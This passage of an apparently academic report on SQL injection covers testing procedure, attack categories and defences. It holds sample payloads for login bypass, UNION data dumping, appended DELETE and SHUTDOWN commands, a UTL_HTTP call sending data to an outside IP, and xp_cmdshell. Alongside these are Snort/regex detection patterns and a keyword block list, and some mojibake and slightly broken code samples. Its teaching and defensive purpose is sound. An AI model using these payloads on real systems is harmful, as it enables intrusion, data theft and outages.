one programmer, one vulnerable parameter might be overlooked. You never can be sure.
Test everything.
Testing procedure
Replace the argument of each parameter with a single quote and an SQL keyword (such as "˜ WHERE"). Each parameter needs to be tested individually. Not only that, but when testing each parameter, leave all of the other parameters unchanged, with valid data as
their arguments. It can be tempting to simply delete everything youâ„¢re not working with
to make things look simpler, particularly with applications that have parameter lines that
go into many thousands of characters. Leaving out parameters or giving other parameters
bad arguments while youâ„¢re testing another for SQL injection can break the application in
other ways that prevent you from determining whether or not SQL injection is possible.
For instance, assume that this is a completely valid, unaltered parameter line
ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste
while this parameter line gives you an ODBC error
ContactName=Maria%20Anders&CompanyName=˜%20
and checking with this line might simply return an error indicating that you need to
specify a ContactName value.
CompanyName=˜
This line¦
ContactName=BadContactName&CompanyName=˜
¦might give you the same page as the request that didn™t specify ContactName at all.
Or, it might give you the siteâ„¢s default homepage. Or, perhaps when the application
couldnâ„¢t find the specified ContactName, it didnâ„¢t bother to look at CompanyName, so it
didnâ„¢t even pass the argument of that parameter into an SQL statement. Or, it might give
you something completely different. So, when testing for SQL injection, always use the
full parameter line, giving every argument except the one that you are testing a legitimate
value.
FIG NO-2¦..INPUT VALIDATION
Evaluating Results
If the server returns a database error message of some kind, injection was definitely
successful. However, the messages arenâ„¢t always obvious. Again, developers do some
strange things, so you should look in every possible place for evidence of successful
injection. First, search through the entire source of the returned page for phrases such as
ODBC, SQL Server, Syntax, etc. More details on the nature of the error can be in
hidden input, comments, etc. Check the headers. I have seen web applications on
production systems that return an error message with absolutely no information in the
body of the HTTP response, but that have the database error message in a header. Many
web applications have these kinds of features built into them for debugging and QA
purposes, and then developers forget to remove or disable them before release.
You should look not only on the immediately returned page, but also in linked pages.
During a recent penetration test, I saw a web application that returned a generic error
message page in response to an SQL injection attack. Clicking on a stop sign image next
to the error retrieved another page giving the full SQL Server error message.
Another thing to watch out for is a 302 page redirect. You may be whisked away from the
database error message page before you even get a chance to notice it.
Note that SQL injection may be successful even if the server returns an ODBC error
messages. Many times the server returns a properly formatted, seemingly generic error
message page telling you that there was an internal server error or a problem
processing your request.
FIG.NO-3¦ERROR PAGE
Some web applications are designed to return the client to the siteâ„¢s main page whenever any type of error occurs. If you receive a 500 Error page back, chances are that injection is occurring. Many sites have a default 500 Internal Server Error page that claims that the server is down for maintenance, or that politely asks the user to send an e-mail to their support staff. It can be possible to take advantage of these sites using stored procedure
techniques.
CHAPTER 4
SQL INJECTION METHODS
CATEGORIES OF SQL INJECTION
There are four main categories of SQL Injection Attacks against Oracle Database:-
1. SQL Manipulation.
2. Code Injection
3. Function Call Injection
4. Buffer Overflows
SQL manipulation typically involves modifying the SQL statement through set operations (e.g., UNION) or altering the WHERE clause to return a different result. Many documented SQL injection attacks are of this type. The most well known attack is to modify the WHERE clause of the user authentication statement so the WHERE clause always results in TRUE.
Code injection is when an attacker inserts new SQL statements or database commands into the SQL statement. The classic code injection attack is to append a SQL Server EXECUTE command to the vulnerable SQL statement. Code injection only works when multiple SQL statements per database request are supported. SQL Server and PostgreSQL have this capability and it is sometimes possible to inject multiple SQL statements with Oracle. Oracle code injection vulnerabilities involve the dynamic execution of SQL in PL/SQL.
The last two categories are more specific attacks against Oracle databases and are not well known or documented. In the vast majority of our application audits, we have found applications vulnerable to these two types of attacks.
4.1. SQL MANIPULATION
FIG NO-4¦SQL MANIPULATION
The most common type of SQL Injection attack is SQL manipulation. The attacker attempts to modify the existing SQL statement by adding elements to the WHERE clause or extending the SQL statement with set operators like UNION, INTERSECT, or MINUS. There are other possible variations, but these are the most significant examples. The classic SQL manipulation is during the login authentication. A simplistic web application may check user authentication by executing the following query and checking to see if any rows were returned “
SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword'
The attacker attempts to manipulate the SQL statement to execute as “
SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword' or 'a' = 'a '
Based on operator precedence, the WHERE clause is true for every row and the attacker has gained access to the application. The set operator UNION is frequently used in SQL injection attacks. The goal is to manipulate a SQL statement into returning rows from another table. A web form may execute the following query to return a list of available products “
SELECT product_name FROM all_products WHERE product_name like '%Chairs%'
The attacker attempts to manipulate the SQL statement to execute as “
SELECT product_name FROM all_products WHERE product_name like '%Chairs' UNION SELECT username FROM dba_users WHERE username like '%'
FIG NO-5¦DATABASE TABLE
The list returned to the web form will include all the selected products, but also all the database users.
4.2. CODE INJECTION
Code injection attacks attempt to add additional SQL statements or commands to the existing SQL statement. This type of attack is frequently used against Microsoft SQL Server applications, but seldom works with an Oracle database. The EXECUTE statement in SQL Server is a frequent target of SQL injection attacks “ there is no corresponding statement in Oracle.
In PL/SQL and Java, Oracle does not support multiple SQL statements per database request. Thus, the following common injection attack will not work against an Oracle database via a PL/SQL or Java application.This statement will result in an error “
SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword'; DELETE FROM users WHERE username = 'admin';
However, some programming languages or APIs may allow multiple SQL statements to be executed. PL/SQL and Java applications can dynamically execute anonymous PL/SQL blocks, which are vulnerable to code injection. The following is an example of a PL/SQL block executed in a web application “
BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); END;
The above example PL/SQL block executes an application stored procedure that encrypts and saves the user™s password. An attacker will attempt to manipulate the PL/SQL block to execute as “
BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); DELETE FROM users WHERE upper(username) = upper('admin'); END;
4.3. FUNCTION CALL INJECTION
Function call injection is the insertion of Oracle database functions or custom functions into a vulnerable SQL statement. These function calls can be used to make operating system calls or manipulate data in the database. The Oracle database allows functions or functions in packages to be executed as part of a SQL statement. By default, Oracle supplies over 1,000 functions in about 175 standard database packages, although only a fraction of these functions may be useful in a SQL injection attack. Some of these functions do perform network communication, which can be exploited. Any custom function or function residing in a custom package can also be executed in a SQL statement.
Functions executed as part of a SQL SELECT statement cannot make any changes to the database unless the function is marked as PRAGMA TRANSACTION. Very few of the standard Oracle functions are executed as autonomous transactions. Functions executed in INSERT, UPDATE, or DELETE statements are able to modify data in the database. Using the standard Oracle functions, an attacker can send information from the database to a remote computer or execute other attacks from the database server.
Many Oracle-based applications leverage database packages, which can be exploited by an attacker. These custom packages may include functions to change passwords or perform other sensitive application transactions. The issue with function call injection is that any dynamically generated SQL statement is vulnerable “ even the simplest SQL statements can be effectively exploited. The following example demonstrates even the most simple of SQL statements can be vulnerable. Application developers will sometimes use database functions instead of native code (e.g., Java) to perform common tasks. There is no direct equivalent of the TRANSLATE database function in Java, so the programmer decided to use a SQL statement.
SELECT TRANSLATE('user input','0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual;
This SQL statement is not vulnerable to other types of injection attacks, but is easily manipulated through a function injection attack. The attacker attempts to manipulate the SQL statement to execute as “
SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual;
The changed SQL statement will request a page from a web server. The attacker could manipulate the string and URL to include other functions in order to retrieve useful information from the database server and send it to the web server in the URL. Since the Oracle database server is most likely behind a firewall, it could also be used to attack other servers on the internal network. Custom functions and functions in custom packages can also be executed. An example would be a custom application has the function ADDUSER in the custom package MYAPPADMIN. The developer marked the function as PRAGMA TRANSACTION, so it could be executed under any special circumstances that the application might encounter. Since it is marked PRAGMA TRANSACTION, it can write to the database even in a SELECT statement.
SELECT TRANSLATE('' || myappadmin.adduser('admin', 'newpass') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual;
Executing the above SQL statement, the attacker is able to create new application users.
4.4. BUFFER OVERFLOWS
A number of standard Oracle database functions are susceptible to buffer overflows, which can be exploited through a SQL injection attack in an un-patched database. Known buffer overflows exist in the standard database packages as well as in standard database functions such as TZ_OFFSET, TO_TIMESTAMP_TZ, BFILENAME, FROM_TZ, NUMTOYMINTERVAL, and NUMTODSINTERVAL.
FIG NO.6¦BUFFER OVERFLOW
A buffer overflow attack using TZ_OFFSET, TO_TIMESTAMP_TZ, BFILENAME, FROM_TZ, NUMTOYMINTERVAL, or NUMTODSINTERVAL is executed using the function injection methods described previously. By exploiting the buffer overflow via a SQL injection attack, remote access to the operating system can be achieved. Additional information is widely available on executing and preventing buffer overflow attacks.
In addition, some application and web servers do not gracefully handle the loss of a database connection due to a buffer overflow. Usually, the web process will hang until the connection to the client is terminated, thus making this potentially an effective denial of service attack.
CHAPTER 5
MALICIOUS ATTACKS
MALICIOUS ATTACKS
The user filled fields are enclosed by single quotation marks('). A simple test would be to try using (') as the username. The following error message will be displayed when a (') is entered into a form that is vulnerable to SQL injection:-
WARNING:- Input validation attacks occur here on a website.
If this error is displayed then SQL injection techniques can be tried. The attacker
can try to login without a password. Typical usernames would be 1=1 or any text within
single quotes.
One of SQL Server's most powerful commands is SHUTDOWN WITH NOWAIT, which causes it to shutdown, immediately stopping the Windows service.
Username: ' ; shutdown with nowait; --
Password: [Anything]
This can happen if the script runs the following query:
select userName from users where userName='; shutdown with nowait;-' and user_Pass=' ';
There are several extended stored procedures that can cause permanent damage to a system.
Input Validation attack
CHAPTER 6
PREVENTION TECHNIQUES
Researchers have proposed a wide range of techniques to address the problem of SQL injection. These techniques range from development best practices to fully automated frameworks for detecting and preventing SQL Injection Attacks. In this section, we review these proposed techniques and summarize the advantages and disadvantages associated with each technique. The various techniques used to prevent SQL injections are:-
1. Parameterized query.
2. Stored procedure.
3. Regular expression to discard input string.
4. Quote block function.
5. Donâ„¢t show detailed error messages to the user.
6. Have a less privileged user/role of your application in database.
6.1. Parameterized queries with Bound Parameters
Parameterized queries keep the query and data separate through the use of placeholders known as "bound" parameters.
For example in Java, this looks like this:
"select * from table where columna= and columnb="
The developer must then set values for the two placeholders. Note that using this syntax without actually using the placeholders and setting values provides no protection against SQL injection.
6.2. Parameterized Stored Procedure
The use of parameterized stored procedures is an effective mechanism to avoid most forms of SQL Injection. In combination with parameterized bound queries, it is very unlikely that SQL injection will occur within your application. However, the use of dynamic code execution features can allow SQL Injection as shown below:
create proc VulnerableDynamicSQL(@userName nvarchar(25)) as
declare @sql nvarchar(255)
set @sql = 'select * from users where UserName =
+ @userName + '
exec sp_executesql @sql
The above example still allows SQL Injection as it allows dynamic injection of arbitrary string data. This is also true of Java / PL/SQL and MySQL's stored procedure support.
6.2.1. Regular expression to discard input string.
An important point to keep in mind while choosing your regular expression(s) for detecting SQL Injection attacks is that an attacker can inject SQL into input taken from a form, as well as through the fields of a cookie. Your input validation logic should consider each and every type of input that originates from the user -- be it form fields or cookie information -- as suspect. Also if you discover too many alerts coming in from a signature that looks out for a single-quote or a semi-colon, it just might be that one or more of these characters are valid inputs in cookies created by your Web application. Therefore, you will need to evaluate each of these signatures for your particular Web application.
As mentioned earlier, a trivial regular expression to detect SQL injection attacks is to watch out for SQL specific meta-characters such as the single-quote (') or the double-dash (--). In order to detect these characters and their hex equivalents, the following regular expression may be used:
6.2.2. Regex for detection of SQL meta-characters
/(\%27)|(\')|(\-\-)|(\%23)|(#)/ix
Explanation:
We first detect either the hex equivalent of the single-quote, the single-quote itself or the presence of the double-dash. These are SQL characters for MS SQL Server and Oracle, which denote the beginning of a comment, and everything that follows is ignored. Additionally, if you're using MySQL, you need to check for presence of the '#' or its hex-equivalent. Note that we do not need to check for the hex-equivalent of the double-dash, because it is not an HTML meta-character and will not be encoded by the browser. Also, if an attacker tries to manually modify the double-dash to its hex value of %2D , the SQL Injection attack fails.
The above regular expression would be added into a new Snort rule as follows:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection - Paranoid"; flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|(\')|(\-\-)|(%23)|(#)/i"; classtype:Web-application-attack; sid:9099; rev:5
In this case, the uricontent keyword has the value ".pl", because in our test environment, the CGI scripts are written in Perl. Depending upon your particular application, this value may be either ".php", or ".asp", or ".jsp", etc. From this point onwards, we do not show the corresponding Snort rule, but instead only the regular expressions that are to be used for creating these rules. From the regular expressions you can easily create more Snort rules.
In the previous regular expression, we detect the double-dash because there may be situations where SQL injection is possible even without the single-quote . Take, for instance, an SQL query which has the where clause containing only numeric values.
Something like:
select value1, value2, num_value3 from database
where num_value3=some_user_supplied_number
In this case, the attacker may execute an additional SQL query, by supplying an input like:
3; insert values into some_other_table
Finally, pcre modifiers 'i' and 'x' are used in order to match without case sensitivity and to ignore whitespaces, respectively.
The above signature could be additionally expanded to detect the occurrence of the semi-colon as well. However, the semi-colon has a tendency to occur as part of normal HTTP traffic. In order to reduce the false positives from this, and also from any normal occurrence of the single-quote and double-dash, the above signature could be modified to first detect the occurrence of the = sign. User input will usually occur as a GET or a POST request, where the input fields will be reflected as:
username=some_user_supplied_value&password=some_user_supplied_value
Therefore, the SQL injection attempt would result in user input being preceded by a = sign or its hex equivalent.
6.2.3. Modified regex for detection of SQL meta-characters
/((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-)|(\%3B)|(
)/i Explanation:
This signature first looks out for the = sign or its hex equivalent (%3D). It then allows for zero or more non-newline characters, and then it checks for the single-quote, the double-dash or the semi-colon.
A typical SQL injection attempt of course revolves around the use of the single quote to manipulate the original query so that it always results in a true value. Most of the examples that discuss this attack use the string 1'or'1'='1. However, detection of this string can be easily evaded by supplying a value such as 1'or2>1--. Thus the only part that is constant in this is the initial alphanumeric value, followed by a single-quote, and then followed by the word 'or'. The Boolean logic that comes after this may be varied to an extent where a generic pattern is either very complex or does not cover all the variants. Thus these attacks can be detected to a fair degree of accuracy by using the next regular expression, in section 2.3 below.
6.2.4. Regex for typical SQL Injection attack
/\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
Explanation:
\w* - zero or more alphanumeric or underscore characters
(\%27)|\' - the ubiquitous single-quote or its hex equivalent
(\%6F)|o|(\%4F))((\%72)|r|(\%52) - the word 'or' with various combinations of its upper and lower case hex equivalents.
The use of the 'union' SQL query is also common in SQL Injection attacks against a variety of databases. If the earlier regular expression that just detects the single-quote or other SQL meta characters results in too many false positives, you could further modify the query to specifically check for the single-quote and the keyword 'union'. This can also be further extended to other SQL keywords such as 'select', 'insert', 'update', 'delete', etc.
6.2.5. Regex for detecting SQL Injection with the UNION keyword
/((\%27)|(\'))union/ix
(\%27)|(\') - the single-quote and its hex equivalent
union - the keyword union
Similar expressions can be written for other SQL queries such as >select, insert, update, delete, drop, and so on.
If, by this stage, the attacker has discovered that the Web application is vulnerable to SQL injection, he will try to exploit it. If he realizes that the back-end database is on an MS SQL server, he will typically try to execute one of the many dangerous stored and extended stored procedures. These procedures start with the letters 'sp' or 'xp' respectively. Typically, he would try to execute the 'xp_cmdshell' extended procedure, which allows the execution of Windows shell commands through the SQL Server. The access rights with which these commands will be executed are those of the account with which SQL Server is running -- usually Local System. Alternatively, he may also try and modify the registry using procedures such as xp_regread, xp_regwrite, etc.
6.2.6. Regex for detecting SQL Injection attacks on a MS SQL Server
/exec(\s|\+)+(s|x)p\w+/ix
Explanation:
exec - the keyword required to run the stored or extended procedure
(\s|\+)+ - one or more whitespaces or their HTTP encoded equivalents
(s|x)p - the letters 'sp' or 'xp' to identify stored or extended procedures respectively
\w+ - one or more alphanumeric or underscore characters to complete the name of the procedure.
CHAPTER 7
COUNTERMEASURES
7.1 Input Validation
Input validation can be a complex subject. Typically, too little attention is paid to it in a development project, since over enthusiastic validation tends to cause parts of an
application to break, and the problem of input validation can be difficult to solve. Input
validation tends not to add to the functionality of an application, and thus it is generally
overlooked in the rush to meet imposed deadlines.
The following is a brief discussion of input validation, with sample code. This sample
code is (of course) not intended to be directly used in applications, but it does illustrate
the differing strategies quite well. The different approaches to data validation can be categorised as follows:
1) Attempt to massage data so that it becomes valid
2) Reject input that is known to be bad
3) Accept only input that is known to be good
Solution (1) has a number of conceptual problems; first, the developer is not necessarily aware of what constitutes 'bad' data, because new forms of 'bad data' are being discovered all the time. Second, 'massaging' the data can alter its length, which can result in
problems as described above. Finally, there is the problem of second-order effects
involving the reuse of data already in the system.
Solution (2) suffers from some of the same issues as (1); 'known bad' input changes over time, as new attack techniques develop.
Solution (3) is probably the better of the three, but can be harder to implement.
Probably the best approach from a security point of view is to combine approaches (2)
and (3) - allow only good input, and then search that input for known 'bad' data.
A good example of the necessity to combine these two approaches is the problem of
hyphenated surnames such as:-
Quentin Bassington-Bassington
We must allow hyphens in our 'good' input, but we are also aware that the character
sequence '--' has significance to SQL server.
Another problem occurs when combining the 'massaging' of data with validation of
character sequences - for example, if we apply a 'known bad' filter that detects '--', 'select'
and 'union' followed by a 'massaging' filter that removes single-quotes, the attacker could
specify input like
uni'on sel'ect @@version-'-
Since the single-quote is removed after the 'known bad' filter is applied, the attacker can simply intersperse single quotes in his known-bad strings to evade detection.
Here is some example validation code.
Approach 1 - Escape singe quotes
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
Approach 2 - Reject known bad input
function validate_string( input )
known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" )
validate_string = true
for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then
validate_string = false
exit function
end if
next
end function
Approach 3 - Allow only good input
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function.
7.2 SQL Server Lockdown
The most important point here is that it *is* necessary to 'lock down' SQL server; it is not secure 'out of the box'. Here is a brief list of things to do when creating a SQL Server build:
1. Determine methods of connection to the server
a. Verify that only the network libraries you're using are enabled, using the 'Network
utility'
2. Verify which accounts exist
a. Create 'low privileged' accounts for use by applications
b. Remove unnecessary accounts
c. Ensure that all accounts have strong passwords; run a password auditing script
(such as the one provided as an appendix to this paper) against the server on a
regular basis
3. Verify which objects exist
a. Many extended stored procedures can be removed safely. If this is done, consider
removing the '.dll' file containing the extended stored procedure code.
b. Remove all sample databases - the 'northwind' and 'pubs' databases, for example.
4. Verify which accounts can access which objects
a. The account that an application uses to access the database should have only the
minimum permissions necessary to access the objects that it needs to use.
5. Verify the patch level of the server
a. There are several buffer overflow and format string attacks against SQL Server
(mostly discovered by the author) as well as several other 'patched' security
issues. It is likely that more exist.
6. Verify what will be logged, and what will be done with the logs.
Replace direct SQL statements with stored procedures, prepared statements, or ADO
command Objects.
Implements Default Error Handling. This would include using a single error message for
all errors
Lock down ODBC. Disable Messaging to clients. Don't let regular SQL Statements through
Lock down User Database configuration Specify. users, roles and permissions etc.
7.3 Robust network architecture
This design will aid in the defense of any enterprise. The diagram
shows a defensible network design by utilizing a De-Militarized Zone (DMZ) to hold all Ëœpublic facingâ„¢ servers.
FIG NO-7¦ROBUST NETWORK ARCHITECTURE.
CHAPTER 8
ADVANTAGES AND DISADVANTAGES
ADVANTAGES
INPUT VALIDATION
“ Keeps track of the input to the web application.
“ It does not allow symbol to be used for the string to form a query in an web application.
SQL SERVER LOCK DOWN
“ It™s possible to create low privileged accounts.
“ Avoid access of account by other servers.
“ Removal of unnecessary accounts.
DISADVANTAGES
INPUT VALIDATION
“ It is very complicated to implement.
“ Difficult to solve complex problem caused due to input validation.
“ It™s not possible to distinguish between good and bad input.
SQL SERVER LOCKDOWN
“ Needs to verify which connection to the server.
“ Verification of each and every account is to be done.
“ Track of objects is needed to maintain which object accesses which account.
CHAPTER 9
AUTOMATED TOOLS FOR SQL INJECTION ATTACKS
SQL Injection is typically performed manually, BUT some tools are available that will help automate the process of identifying and exploiting the vulnerability.
Wpoison is a tool that will find any strings potentially SQL Injection vulnerabilities in dynamic web documents. SQL error strings are stored in a signature file, making it easier for anyone to add their own signature for a possible SQL Injection signature for a web application.
Wpoison runs on linux and is available at http://wpoison.sourceforeg.net
mieliekoek.pl is an SQL Injection insertion crawler that will test all forms on a website
for possible SQL Insertion problems. This script will take the output of a website mirroring tool as input inspecting every file and determining whether there is a form in the file. The string to be injected can easily be changed in the configuration file. To obtain a copy of the script please see 'http://packetstormsecurityUNIX/security/mieliekoek.pl' please make sure you have a perl environment installed.
Here is an example of the output of mieliekoek.pl :
$badstring='blah';
$badstring='blah' or 1=1 --';
$badstring='blah' exec master..xp_cmdshell 'nslookup a.com 192.168.1.6' - ;
SPI toolkit from SPI Dynamics contains a tool called SQL Injector that will automate SQL
Injection testing. The SPI Toolkit is available at http://spidynamics.com
CHAPTER 10
FUTURE SCOPE
The study of SQL Injection will lead in prevention of database hacking. It is helpful to develop new techniques which in future will not have any backdoors for the intruders to
attack any particular web application. These techniques will lead to development to the tools which will investigate scope of SQL Injection worm attacks. Oracle Servers would not be trapped if these SQL Injection tools and backdoors are blocked. In future we will able to reduce the vulnerabilities to the web application.
CHAPTER 11
CONCLUSION
This article is to make aware the people who are anyways related to database
maintenance say DBA, Site owner, Computer science students involving in projects
related to database and to general people who are launching their sites on internet.
Through this article one can know that what are the breaches that can be secured either
code or protection security like firewalls.
So, before launching your site or when checking your site try to check atleast the codes
what are illustrated in this article and if you find any bugs please correct it as soon as
possible and if its not your website then please inform the owner through mail or phone
that that site has bugs( be ethical) else attacking on other sites using this technique is
illegal. Do that at your own risk.
CHAPTER 12
REFERENCES
10.1. BOOKS
1.SQL Injection Defenses First Edition, by Martin Nystrom, release date March 2007.
2.Web Hacking: Attacks and defenses By Stuart McClure, Saumil Shah, Shreeraj Shah,2008.
10.2. WEB SITES
1. SQL Injection http://spidynamicspapers/SQLInjectionWhitePaper.pdf
2. Threats and Countermeasures, MSDN, Microsoft http://msdn.microsoft.com
3. Advanced SQL Injection http://nextgensspapers/advanced_sql_injection.pdf
4. Detection techniques http://securiteam/papers/detection-techniques
5. Defenses against SQL Injection http://blackhatpresentations/win-usa- 01/Litchfield/BHWin01Litchfield.doc
